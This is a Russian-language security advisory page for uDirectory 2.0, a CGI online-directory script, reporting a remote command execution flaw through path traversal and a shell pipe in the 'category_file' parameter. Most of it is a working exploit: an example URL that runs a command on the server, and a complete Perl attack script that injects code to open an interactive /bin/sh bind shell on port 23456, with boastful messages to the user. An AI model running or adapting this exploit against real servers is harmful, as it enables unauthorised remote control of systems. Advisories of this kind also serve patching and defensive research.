Уязвимость в uDirectory 2.0

Дата публикации:
19.06.2001
Дата изменения:
17.10.2006
Всего просмотров:
1537
Опасность:
Наличие исправления:
Количество уязвимостей:
1
CVSSv2 рейтинг:
CVE ID:
Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID:
Нет данных
Наличие эксплоита:
Нет данных
Уязвимые продукты:
Описание:

uDirectory 2.0 - система созданная простого управление online directory. Найдена возможность удаленно выполнить произвольный код на сервере.

Эксплоит:

www.example.com/cgi-bin/udirectory.pl?MAIN_FIELD=blah&command=add_new_listing&category_file=/../../../../../../../bin/ping+-c+2+x.x.x.x|'



или нижеследующий:

#!/usr/bin/perl -w

# management, e-commerce ... blah...

# exploit by Igor Dobrovitski noident@my-deja.com

# This program will spawn /bin/sh on server's port 23456 and tell you if it thinks it succeded

# Enjoy

use Socket;

$| = 1;

####################################################################################################

$exec_code = 'use Socket;$protocol = getprotobyname(tcp);socket(SOCK, PF_INET, SOCK_STREAM, $protocol);setsockopt(SOCK, SOL_SOCKET, SO_REUSEADDR, 1);$port=23456;bind(SOCK, sockaddr_in($port, INADDR_ANY));listen(SOCK, 1);accept (NEW, SOCK);if(!fork()){open STDIN, "<&NEW"; open STDOUT, ">&NEW";open STDERR, ">&NEW";exec "/bin/sh -i"}else{close NEW;exit;}';

####################################################################################################

unless(defined $ARGV[0]) {die "Usage: $0 www.example.com/cgi-bin/ustore.pl\n"}

($host, $scriptpath) = $ARGV[0] =~ m|^(.*?)(/.*)$|;

print "Engaging the enemy. Please stand by...\n";

foreach my $perl_path ('/usr/bin/perl', '/usr/local/bin/perl')

{

print "Trying $perl_path\n\n";

my $cmd = $perl_path . ' -e \'' . $exec_code . '\'|';

for(my $i=1;$i<=10;$i++)

{

print "try $i\n";

$cmd = '/..' . $cmd;

$form = makeform({'category_file' => $cmd, 'MAIN_FIELD' => 'blah',

'command' => 'add_new_listing' });

my @reply = &send($form);

}

}

&oops_the_sploit_did_not_work();



sub makeform

{

my $string;

my @blah;

my $line = '';

my $here;

my %data = %{$_[0]};

foreach my $key (keys %data)

{

$line .= "$key" . 'AAAA' . "$data{$key}" . 'BBBB';

}

$line =~ s|^(.*)BBBB$|$1|;

$line =~ s/\\n/\n/g;

$line =~ s/\\t/\t/g;

$line =~ s/\\e/\e/g;

$line =~ s/\\f/\f/g;

$line =~ s/\\r/\r/g;

$line =~ s/\\0/\0/g;

foreach my $char (split //, $line)

{

if($char !~ m/[A-Za-z0-9._ ]/)

{

$char = unpack "H2", $char;

$char = '%' . "$char";

}

push @blah, $char;

}

$string = join "",@blah;

$string =~ s/AAAA/=/g;

$string =~ s/BBBB/&/g;

$string =~ s/ /+/g;

my $cont_len = length($string);

$here = <<EOF;

POST $scriptpath HTTP/1.0

User-Agent: Mozilla (Windows 98)

Host: $host

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*

Accept-Encoding: gzip

Accept-Language: en

Accept-Charset: iso-8859-1,*,utf-8

Content-type: application/x-www-form-urlencoded

Content-length: $cont_len



$string

EOF

return $here;

}



sub send

{

my $form_to_send = shift;

my $h = inet_aton($host) or die "Forward lookup for $host failed\n";

socket(S,PF_INET,SOCK_STREAM,6) or die "socket prolems\n";

unless(connect(S,sockaddr_in(80,$h))) {print STDERR "Couldn't connect to " . inet_ntoa($h) . "\n"; close(S); exit 1 }

select(S);

$|=1;

print "$form_to_send";

local $SIG{ALRM} = sub { print STDERR "Timeout was expected. The shell awaits you on port 23456\nBe good and hack wisely.\n"; exit };

alarm(20);

my @reply=<S>;

select(STDOUT);

close(S);

return @reply;

}



sub oops_the_sploit_did_not_work

{

print STDERR "The exploit didn't work on this host\nSorry...\n";

exit;

}
 


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